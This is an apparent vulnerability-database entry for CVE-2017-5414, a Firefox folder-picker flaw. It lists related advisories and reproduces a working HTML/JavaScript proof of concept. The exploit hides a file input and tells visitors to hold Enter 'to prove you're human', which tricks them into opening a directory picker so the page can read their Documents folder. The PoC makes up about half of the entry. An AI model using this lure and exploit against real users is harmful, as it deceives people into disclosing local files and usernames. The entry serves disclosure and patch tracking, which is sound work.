Mozilla Firefox webkitdirectory local files disclosure (CVE-2017-5414)

🗓️ 15 Apr 2017 00:00:00Reported by RootType

Mozilla Firefox webkitdirectory local files disclosure (CVE-2017-5414) reporting three bugs involving the folder picker, leading to OS username and arbitrary local files disclosur

Reporter	Title	Published	Views	Family All 47
ALT Linux	Security fix for the ALT Linux 10 package firefox-esr version 52.0-alt1	8 May 201700:00	–	altlinux
IBM Security Bulletins	Security Bulletin: Multiple Mozilla Firefox vulnerability issues in IBM SONAS	18 Jun 201800:33	–	ibm
FreeBSD	mozilla -- multiple vulnerabilities	7 Mar 201700:00	–	freebsd
Tenable Nessus	Mozilla Firefox < 52 Multiple Vulnerabilities	8 Mar 201700:00	–	nessus
Tenable Nessus	FreeBSD : mozilla -- multiple vulnerabilities (96eca031-1313-4daf-9be2-9d6e1c4f1eb5)	8 Mar 201700:00	–	nessus
Tenable Nessus	Mozilla Firefox < 52.0 Multiple Vulnerabilities (macOS)	9 Mar 201700:00	–	nessus
Tenable Nessus	Mozilla Firefox < 52.0	18 Nov 202500:00	–	nessus
Tenable Nessus	Mozilla Thunderbird < 52.0	18 Nov 202500:00	–	nessus
Tenable Nessus	Mozilla Firefox < 52.0 Multiple Vulnerabilities	9 Mar 201700:00	–	nessus
Tenable Nessus	Mozilla Firefox < 52.0	18 Nov 202500:00	–	nessus


                                                <html>
<head>

</head>
<body>
<style>
#q{
opacity:0.0;
}
</style>

<b>Hold down enter for 5 seconds to prove you're human</b>
<input type=file id=q webkitdirectory='true'><br>
<textarea id="qtxt" style="height:300px;">Things grabbed:</textarea>
<script>
var i=25;
document.onkeypress=function(e){if(q.value.length>0){qtxt.value+=(q.value+'\n');}
	if(q.value=='Documents'){
		window.i=1000;
		}
	if(e.key==='Enter'){
		window.i--;
		if(window.i<3){
			q.click();
		}
	}
};

q.onchange=function(){
if(window.i>10){
	document.body.innerHTML=('I can read '+q.files.length+' files from Documents folder');
	}
}
</script>
</body>
</html>

15 Apr 2017 00:00Current

7.6High risk

Vulners AI Score7.6

EPSS0.0013